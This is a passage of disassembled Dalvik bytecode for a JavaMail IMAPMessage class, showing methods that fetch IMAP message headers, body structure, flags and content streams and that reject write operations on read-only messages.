000000DA  invoke-direct           InternetHeaders-><init>(InputStream)V, v1, v0
000000E0  iput-object             v1, p0, IMAPMessage->headers:InternetHeaders
000000E4  const/4                 v0, 0x1
000000E6  iput-boolean            v0, p0, IMAPMessage->headersLoaded:Z
:EA
000000EA  goto                    :A
          .catchall {:2 .. :6} :72
          .catchall {:10 .. :1A} :72
          .catch ConnectionException {:1A .. :5A} :9A
          .catch ProtocolException {:1A .. :5A} :BA
          .catchall {:1A .. :5A} :B4
          .catchall {:5C .. :5E} :B4
          .catchall {:62 .. :72} :72
          .catch ConnectionException {:78 .. :96} :9A
          .catch ProtocolException {:78 .. :96} :BA
          .catchall {:78 .. :96} :B4
          .catchall {:9C .. :B8} :B4
          .catchall {:B8 .. :BA} :72
          .catchall {:BC .. :D6} :B4
          .catchall {:D6 .. :EA} :72
.end method

.method private declared-synchronized setHeaderLoaded(String)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
00000006  if-nez                  v0, :1A
:A
0000000A  new-instance            v0, Hashtable
0000000E  const/4                 v1, 0x1
00000010  invoke-direct           Hashtable-><init>(I)V, v0, v1
00000016  iput-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
:1A
0000001A  iget-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000001E  sget-object             v1, Locale->ENGLISH:Locale
00000022  invoke-virtual          String->toUpperCase(Locale)String, p1, v1
00000028  move-result-object      v1
0000002A  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
:30
00000030  monitor-exit            p0
00000032  return-void
:34
00000034  move-exception          v0
00000036  monitor-exit            p0
00000038  throw                   v0
          .catchall {:2 .. :30} :34
.end method

.method private declared-synchronized setHeadersLoaded(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, IMAPMessage->headersLoaded:Z
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method private toSection(String)String
          .registers 4
00000000  iget-object             v0, p0, IMAPMessage->sectionId:String
00000004  if-nez                  v0, :A
:8
00000008  return-object           p1
:A
0000000A  new-instance            v0, StringBuilder
0000000E  iget-object             v1, p0, IMAPMessage->sectionId:String
00000012  invoke-static           String->valueOf(Object)String, v1
00000018  move-result-object      v1
0000001A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000020  const-string            v1, "."
00000024  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000002A  move-result-object      v0
0000002C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000032  move-result-object      v0
00000034  invoke-virtual          StringBuilder->toString()String, v0
0000003A  move-result-object      p1
0000003C  goto                    :8
.end method

.method _getSession()Session
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->session:Session
00000004  return-object           v0
.end method

.method _setFlags(Flags)V
          .registers 2
00000000  iput-object             p1, p0, IMAPMessage->flags:Flags
00000004  return-void
.end method

.method public addFrom([Address)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public addHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public addHeaderLine(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public addRecipients(Message$RecipientType, [Address)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPMessage is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected checkExpunged()V
          .registers 2
00000000  iget-boolean            v0, p0, IMAPMessage->expunged:Z
00000004  if-eqz                  v0, :14
:8
00000008  new-instance            v0, MessageRemovedException
0000000C  invoke-direct           MessageRemovedException-><init>()V, v0
00000012  throw                   v0
:14
00000014  return-void
.end method

.method protected forceCheckExpunged()V
          .registers 5
00000000  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000006  move-result-object      v1
00000008  monitor-enter           v1
:A
0000000A  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
00000010  move-result-object      v0
00000012  invoke-virtual          IMAPProtocol->noop()V, v0
:18
00000018  monitor-exit            v1
:1A
0000001A  iget-boolean            v0, p0, IMAPMessage->expunged:Z
0000001E  if-eqz                  v0, :4E
:22
00000022  new-instance            v0, MessageRemovedException
00000026  invoke-direct           MessageRemovedException-><init>()V, v0
0000002C  throw                   v0
:2E
0000002E  move-exception          v0
:30
00000030  new-instance            v2, FolderClosedException
00000034  iget-object             v3, p0, IMAPMessage->folder:Folder
00000038  invoke-virtual          ConnectionException->getMessage()String, v0
0000003E  move-result-object      v0
00000040  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000046  throw                   v2
:48
00000048  move-exception          v0
0000004A  monitor-exit            v1
:4C
0000004C  throw                   v0
:4E
0000004E  return-void
:50
00000050  move-exception          v0
00000052  goto                    :18
          .catch ConnectionException {:A .. :18} :2E
          .catch ProtocolException {:A .. :18} :50
          .catchall {:A .. :18} :48
          .catchall {:18 .. :1A} :48
          .catchall {:30 .. :4C} :48
.end method

.method public getAllHeaderLines()Enumeration
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getAllHeaderLines()Enumeration, p0
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getAllHeaders()Enumeration
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getAllHeaders()Enumeration, p0
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getContentID()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget-object             v0, v0, BODYSTRUCTURE->id:String
00000014  return-object           v0
.end method

.method public getContentLanguage()[String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget-object             v0, v0, BODYSTRUCTURE->language:[String
00000014  if-eqz                  v0, :2E
:18
00000018  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001C  iget-object             v0, v0, BODYSTRUCTURE->language:[String
00000020  invoke-virtual          [String->clone()Object, v0
00000026  move-result-object      v0
00000028  check-cast              v0, [String
:2C
0000002C  return-object           v0
:2E
0000002E  const/4                 v0, 0x0
00000030  goto                    :2C
.end method

.method public getContentMD5()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget-object             v0, v0, BODYSTRUCTURE->md5:String
00000014  return-object           v0
.end method

.method protected getContentStream()InputStream
          .registers 7
00000000  const/4                 v1, 0xFFFFFFFFFFFFFFFF
00000002  const/4                 v0, 0x0
00000004  invoke-virtual          IMAPMessage->getPeek()Z, p0
0000000A  move-result             v2
0000000C  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000012  move-result-object      v3
00000014  monitor-enter           v3
:16
00000016  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
0000001C  move-result-object      v4
0000001E  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000024  invoke-virtual          IMAPProtocol->isREV1()Z, v4
0000002A  move-result             v5
0000002C  if-eqz                  v5, :66
:30
00000030  invoke-virtual          IMAPMessage->getFetchBlockSize()I, p0
00000036  move-result             v5
00000038  if-eq                   v5, v1, :66
:3C
0000003C  new-instance            v0, IMAPInputStream
00000040  const-string            v4, "TEXT"
00000044  invoke-direct           IMAPMessage->toSection(String)String, p0, v4
0000004A  move-result-object      v4
0000004C  iget-object             v5, p0, IMAPMessage->bs:BODYSTRUCTURE
00000050  if-eqz                  v5, :5C
:54
00000054  iget-object             v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000058  iget                    v1, v1, BODYSTRUCTURE->size:I
:5C
0000005C  invoke-direct           IMAPInputStream-><init>(IMAPMessage, String, I, Z)V, v0, p0, v4, v1, v2
:62
00000062  monitor-exit            v3
:64
00000064  return-object           v0
:66
00000066  invoke-virtual          IMAPProtocol->isREV1()Z, v4
0000006C  move-result             v1
0000006E  if-eqz                  v1, :D2
:72
00000072  if-eqz                  v2, :B4
:76
00000076  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000007C  move-result             v1
0000007E  const-string            v2, "TEXT"
00000082  invoke-direct           IMAPMessage->toSection(String)String, p0, v2
00000088  move-result-object      v2
0000008A  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v4, v1, v2
00000090  move-result-object      v1
:92
00000092  if-eqz                  v1, :9E
:96
00000096  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:9C
0000009C  move-result-object      v0
:9E
0000009E  monitor-exit            v3
:A0
000000A0  if-nez                  v0, :64
:A4
000000A4  new-instance            v0, MessagingException
000000A8  const-string            v1, "No content"
000000AC  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000B2  throw                   v0
:B4
000000B4  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
000000BA  move-result             v1
000000BC  const-string            v2, "TEXT"
000000C0  invoke-direct           IMAPMessage->toSection(String)String, p0, v2
000000C6  move-result-object      v2
000000C8  invoke-virtual          IMAPProtocol->fetchBody(I, String)BODY, v4, v1, v2
000000CE  move-result-object      v1
000000D0  goto                    :92
:D2
000000D2  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
000000D8  move-result             v1
000000DA  const-string            v2, "TEXT"
000000DE  invoke-virtual          IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v4, v1, v2
000000E4  move-result-object      v1
000000E6  if-eqz                  v1, :9E
:EA
000000EA  invoke-virtual          RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:F0
000000F0  move-result-object      v0
000000F2  goto                    :9E
:F4
000000F4  move-exception          v0
:F6
000000F6  new-instance            v1, FolderClosedException
000000FA  iget-object             v2, p0, IMAPMessage->folder:Folder
000000FE  invoke-virtual          ConnectionException->getMessage()String, v0
00000104  move-result-object      v0
00000106  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
0000010C  throw                   v1
:10E
0000010E  move-exception          v0
00000110  monitor-exit            v3
:112
00000112  throw                   v0
:114
00000114  move-exception          v0
:116
00000116  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
0000011C  new-instance            v1, MessagingException
00000120  invoke-virtual          ProtocolException->getMessage()String, v0
00000126  move-result-object      v2
00000128  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
0000012E  throw                   v1
          .catch ConnectionException {:16 .. :62} :F4
          .catch ProtocolException {:16 .. :62} :114
          .catchall {:16 .. :62} :10E
          .catchall {:62 .. :64} :10E
          .catch ConnectionException {:66 .. :9C} :F4
          .catch ProtocolException {:66 .. :9C} :114
          .catchall {:66 .. :9C} :10E
          .catchall {:9E .. :A0} :10E
          .catch ConnectionException {:B4 .. :F0} :F4
          .catch ProtocolException {:B4 .. :F0} :114
          .catchall {:B4 .. :F0} :10E
          .catchall {:F6 .. :112} :10E
          .catchall {:116 .. :130} :10E
.end method

.method public getContentType()String
          .registers 5
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  iget-object             v0, p0, IMAPMessage->type:String
0000000A  if-nez                  v0, :42
:E
0000000E  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
00000014  new-instance            v0, ContentType
00000018  iget-object             v1, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001C  iget-object             v1, v1, BODYSTRUCTURE->type:String
00000020  iget-object             v2, p0, IMAPMessage->bs:BODYSTRUCTURE
00000024  iget-object             v2, v2, BODYSTRUCTURE->subtype:String
00000028  iget-object             v3, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002C  iget-object             v3, v3, BODYSTRUCTURE->cParams:ParameterList
00000030  invoke-direct           ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
00000036  invoke-virtual          ContentType->toString()String, v0
0000003C  move-result-object      v0
0000003E  iput-object             v0, p0, IMAPMessage->type:String
:42
00000042  iget-object             v0, p0, IMAPMessage->type:String
00000046  return-object           v0
.end method

.method public declared-synchronized getDataHandler()DataHandler
          .registers 7
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000008  iget-object             v0, p0, IMAPMessage->dh:DataHandler
0000000C  if-nez                  v0, :80
:10
00000010  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
00000016  iget-object             v0, p0, IMAPMessage->type:String
0000001A  if-nez                  v0, :4C
:1E
0000001E  new-instance            v0, ContentType
00000022  iget-object             v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000026  iget-object             v1, v1, BODYSTRUCTURE->type:String
0000002A  iget-object             v2, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002E  iget-object             v2, v2, BODYSTRUCTURE->subtype:String
00000032  iget-object             v3, p0, IMAPMessage->bs:BODYSTRUCTURE
00000036  iget-object             v3, v3, BODYSTRUCTURE->cParams:ParameterList
0000003A  invoke-direct           ContentType-><init>(String, String, ParameterList)V, v0, v1, v2, v3
00000040  invoke-virtual          ContentType->toString()String, v0
00000046  move-result-object      v0
00000048  iput-object             v0, p0, IMAPMessage->type:String
:4C
0000004C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000050  invoke-virtual          BODYSTRUCTURE->isMulti()Z, v0
00000056  move-result             v0
00000058  if-eqz                  v0, :8C
:5C
0000005C  new-instance            v0, DataHandler
00000060  new-instance            v1, IMAPMultipartDataSource
00000064  iget-object             v2, p0, IMAPMessage->bs:BODYSTRUCTURE
00000068  iget-object             v2, v2, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000006C  iget-object             v3, p0, IMAPMessage->sectionId:String
00000070  invoke-direct           IMAPMultipartDataSource-><init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V, v1, p0, v2, v3, p0
00000076  invoke-direct           DataHandler-><init>(DataSource)V, v0, v1
0000007C  iput-object             v0, p0, IMAPMessage->dh:DataHandler
:80
00000080  invoke-super            MimeMessage->getDataHandler()DataHandler, p0
:86
00000086  move-result-object      v0
00000088  monitor-exit            p0
0000008A  return-object           v0
:8C
0000008C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000090  invoke-virtual          BODYSTRUCTURE->isNested()Z, v0
00000096  move-result             v0
00000098  if-eqz                  v0, :80
:9C
0000009C  invoke-virtual          IMAPMessage->isREV1()Z, p0
000000A2  move-result             v0
000000A4  if-eqz                  v0, :80
:A8
000000A8  new-instance            v1, DataHandler
000000AC  new-instance            v2, IMAPNestedMessage
000000B0  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
000000B4  iget-object             v0, v0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
000000B8  const/4                 v3, 0x0
000000BA  aget-object             v3, v0, v3
000000BE  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
000000C2  iget-object             v4, v0, BODYSTRUCTURE->envelope:ENVELOPE
000000C6  iget-object             v0, p0, IMAPMessage->sectionId:String
000000CA  if-nez                  v0, :EE
:CE
000000CE  const-string            v0, "1"
:D2
000000D2  invoke-direct           IMAPNestedMessage-><init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V, v2, p0, v3, v4, v0
000000D8  iget-object             v0, p0, IMAPMessage->type:String
000000DC  invoke-direct           DataHandler-><init>(Object, String)V, v1, v2, v0
000000E2  iput-object             v1, p0, IMAPMessage->dh:DataHandler
:E6
000000E6  goto                    :80
:E8
000000E8  move-exception          v0
000000EA  monitor-exit            p0
000000EC  throw                   v0
:EE
000000EE  new-instance            v0, StringBuilder
000000F2  iget-object             v5, p0, IMAPMessage->sectionId:String
000000F6  invoke-static           String->valueOf(Object)String, v5
000000FC  move-result-object      v5
000000FE  invoke-direct           StringBuilder-><init>(String)V, v0, v5
00000104  const-string            v5, ".1"
00000108  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v5
0000010E  move-result-object      v0
00000110  invoke-virtual          StringBuilder->toString()String, v0
:116
00000116  move-result-object      v0
00000118  goto                    :D2
          .catchall {:2 .. :86} :E8
          .catchall {:8C .. :E6} :E8
          .catchall {:EE .. :116} :E8
.end method

.method public getDescription()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  iget-object             v0, p0, IMAPMessage->description:String
0000000A  if-eqz                  v0, :14
:E
0000000E  iget-object             v0, p0, IMAPMessage->description:String
:12
00000012  return-object           v0
:14
00000014  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000001A  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001E  iget-object             v0, v0, BODYSTRUCTURE->description:String
00000022  if-nez                  v0, :2A
:26
00000026  const/4                 v0, 0x0
00000028  goto                    :12
:2A
0000002A  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000002E  iget-object             v0, v0, BODYSTRUCTURE->description:String
00000032  invoke-static           MimeUtility->decodeText(String)String, v0
00000038  move-result-object      v0
0000003A  iput-object             v0, p0, IMAPMessage->description:String
:3E
0000003E  iget-object             v0, p0, IMAPMessage->description:String
00000042  goto                    :12
:44
00000044  move-exception          v0
00000046  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000004A  iget-object             v0, v0, BODYSTRUCTURE->description:String
0000004E  iput-object             v0, p0, IMAPMessage->description:String
00000052  goto                    :3E
          .catch UnsupportedEncodingException {:2A .. :3E} :44
.end method

.method public getDisposition()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget-object             v0, v0, BODYSTRUCTURE->disposition:String
00000014  return-object           v0
.end method

.method public getEncoding()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget-object             v0, v0, BODYSTRUCTURE->encoding:String
00000014  return-object           v0
.end method

.method protected getFetchBlockSize()I
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->folder:Folder
00000004  invoke-virtual          Folder->getStore()Store, v0
0000000A  move-result-object      v0
0000000C  check-cast              v0, IMAPStore
00000010  invoke-virtual          IMAPStore->getFetchBlockSize()I, v0
00000016  move-result             v0
00000018  return                  v0
.end method

.method public getFileName()String
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  const/4                 v0, 0x0
00000008  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000E  iget-object             v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000012  iget-object             v1, v1, BODYSTRUCTURE->dParams:ParameterList
00000016  if-eqz                  v1, :2E
:1A
0000001A  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000001E  iget-object             v0, v0, BODYSTRUCTURE->dParams:ParameterList
00000022  const-string            v1, "filename"
00000026  invoke-virtual          ParameterList->get(String)String, v0, v1
0000002C  move-result-object      v0
:2E
0000002E  if-nez                  v0, :52
:32
00000032  iget-object             v1, p0, IMAPMessage->bs:BODYSTRUCTURE
00000036  iget-object             v1, v1, BODYSTRUCTURE->cParams:ParameterList
0000003A  if-eqz                  v1, :52
:3E
0000003E  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000042  iget-object             v0, v0, BODYSTRUCTURE->cParams:ParameterList
00000046  const-string            v1, "name"
0000004A  invoke-virtual          ParameterList->get(String)String, v0, v1
00000050  move-result-object      v0
:52
00000052  return-object           v0
.end method

.method public declared-synchronized getFlags()Flags
          .registers 2
00000000  monitor-enter           p0
:2
00000002  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000008  invoke-direct           IMAPMessage->loadFlags()V, p0
0000000E  invoke-super            MimeMessage->getFlags()Flags, p0
:14
00000014  move-result-object      v0
00000016  monitor-exit            p0
00000018  return-object           v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
          .catchall {:2 .. :14} :1A
.end method

.method public getFrom()[Address
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->from:[InternetAddress
00000014  invoke-direct           IMAPMessage->aaclone([InternetAddress)[InternetAddress, p0, v0
0000001A  move-result-object      v0
0000001C  return-object           v0
.end method

.method public getHeader(String, String)String
          .registers 4
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-virtual          IMAPMessage->getHeader(String)[String, p0, p1
0000000C  move-result-object      v0
0000000E  if-nez                  v0, :16
:12
00000012  const/4                 v0, 0x0
:14
00000014  return-object           v0
:16
00000016  iget-object             v0, p0, IMAPMessage->headers:InternetHeaders
0000001A  invoke-virtual          InternetHeaders->getHeader(String, String)String, v0, p1, p2
00000020  move-result-object      v0
00000022  goto                    :14
.end method

.method public getHeader(String)[String
          .registers 8
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000008  invoke-direct           IMAPMessage->isHeaderLoaded(String)Z, p0, p1
0000000E  move-result             v1
00000010  if-eqz                  v1, :22
:14
00000014  iget-object             v0, p0, IMAPMessage->headers:InternetHeaders
00000018  invoke-virtual          InternetHeaders->getHeader(String)[String, v0, p1
0000001E  move-result-object      v0
:20
00000020  return-object           v0
:22
00000022  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000028  move-result-object      v2
0000002A  monitor-enter           v2
:2C
0000002C  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
00000032  move-result-object      v1
00000034  invoke-virtual          IMAPMessage->checkExpunged()V, p0
0000003A  invoke-virtual          IMAPProtocol->isREV1()Z, v1
00000040  move-result             v3
00000042  if-eqz                  v3, :CE
:46
00000046  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000004C  move-result             v3
0000004E  new-instance            v4, StringBuilder
00000052  const-string            v5, "HEADER.FIELDS ("
00000056  invoke-direct           StringBuilder-><init>(String)V, v4, v5
0000005C  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, p1
00000062  move-result-object      v4
00000064  const-string            v5, ")"
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
0000006E  move-result-object      v4
00000070  invoke-virtual          StringBuilder->toString()String, v4
00000076  move-result-object      v4
00000078  invoke-direct           IMAPMessage->toSection(String)String, p0, v4
0000007E  move-result-object      v4
00000080  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v1, v3, v4
00000086  move-result-object      v1
00000088  if-eqz                  v1, :152
:8C
0000008C  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:92
00000092  move-result-object      v1
:94
00000094  monitor-exit            v2
:96
00000096  if-eqz                  v1, :20
:9A
0000009A  iget-object             v0, p0, IMAPMessage->headers:InternetHeaders
0000009E  if-nez                  v0, :B0
:A2
000000A2  new-instance            v0, InternetHeaders
000000A6  invoke-direct           InternetHeaders-><init>()V, v0
000000AC  iput-object             v0, p0, IMAPMessage->headers:InternetHeaders
:B0
000000B0  iget-object             v0, p0, IMAPMessage->headers:InternetHeaders
000000B4  invoke-virtual          InternetHeaders->load(InputStream)V, v0, v1
000000BA  invoke-direct           IMAPMessage->setHeaderLoaded(String)V, p0, p1
000000C0  iget-object             v0, p0, IMAPMessage->headers:InternetHeaders
000000C4  invoke-virtual          InternetHeaders->getHeader(String)[String, v0, p1
000000CA  move-result-object      v0
000000CC  goto                    :20
:CE
000000CE  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
000000D4  move-result             v3
000000D6  new-instance            v4, StringBuilder
000000DA  const-string            v5, "HEADER.LINES ("
000000DE  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000000E4  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, p1
000000EA  move-result-object      v4
000000EC  const-string            v5, ")"
000000F0  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v5
000000F6  move-result-object      v4
000000F8  invoke-virtual          StringBuilder->toString()String, v4
000000FE  move-result-object      v4
00000100  invoke-virtual          IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v1, v3, v4
00000106  move-result-object      v1
00000108  if-eqz                  v1, :152
:10C
0000010C  invoke-virtual          RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v1
:112
00000112  move-result-object      v1
00000114  goto                    :94
:116
00000116  move-exception          v0
:118
00000118  new-instance            v1, FolderClosedException
0000011C  iget-object             v3, p0, IMAPMessage->folder:Folder
00000120  invoke-virtual          ConnectionException->getMessage()String, v0
00000126  move-result-object      v0
00000128  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v3, v0
0000012E  throw                   v1
:130
00000130  move-exception          v0
00000132  monitor-exit            v2
:134
00000134  throw                   v0
:136
00000136  move-exception          v0
:138
00000138  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
0000013E  new-instance            v1, MessagingException
00000142  invoke-virtual          ProtocolException->getMessage()String, v0
00000148  move-result-object      v3
0000014A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v3, v0
00000150  throw                   v1
:152
00000152  move-object             v1, v0
00000154  goto                    :94
          .catch ConnectionException {:2C .. :92} :116
          .catch ProtocolException {:2C .. :92} :136
          .catchall {:2C .. :92} :130
          .catchall {:94 .. :96} :130
          .catch ConnectionException {:CE .. :112} :116
          .catch ProtocolException {:CE .. :112} :136
          .catchall {:CE .. :112} :130
          .catchall {:118 .. :134} :130
          .catchall {:138 .. :152} :130
.end method

.method public getInReplyTo()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->inReplyTo:String
00000014  return-object           v0
.end method

.method public getLineCount()I
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadBODYSTRUCTURE()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
00000010  iget                    v0, v0, BODYSTRUCTURE->lines:I
00000014  return                  v0
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getMatchingHeaderLines([String)Enumeration, p0, p1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getMatchingHeaders([String)Enumeration, p0, p1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method protected getMessageCacheLock()Object
          .registers 2
00000000  iget-object             v0, p0, IMAPMessage->folder:Folder
00000004  check-cast              v0, IMAPFolder
00000008  iget-object             v0, v0, IMAPFolder->messageCacheLock:Object
0000000C  return-object           v0
.end method

.method public getMessageID()String
          .registers 2
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadEnvelope()V, p0
0000000C  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000010  iget-object             v0, v0, ENVELOPE->messageId:String
00000014  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getNonMatchingHeaderLines([String)Enumeration, p0, p1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 3
00000000  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000006  invoke-direct           IMAPMessage->loadHeaders()V, p0
0000000C  invoke-super            MimeMessage->getNonMatchingHeaders([String)Enumeration, p0, p1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public declared-synchronized getPeek()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPMessage->peek:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

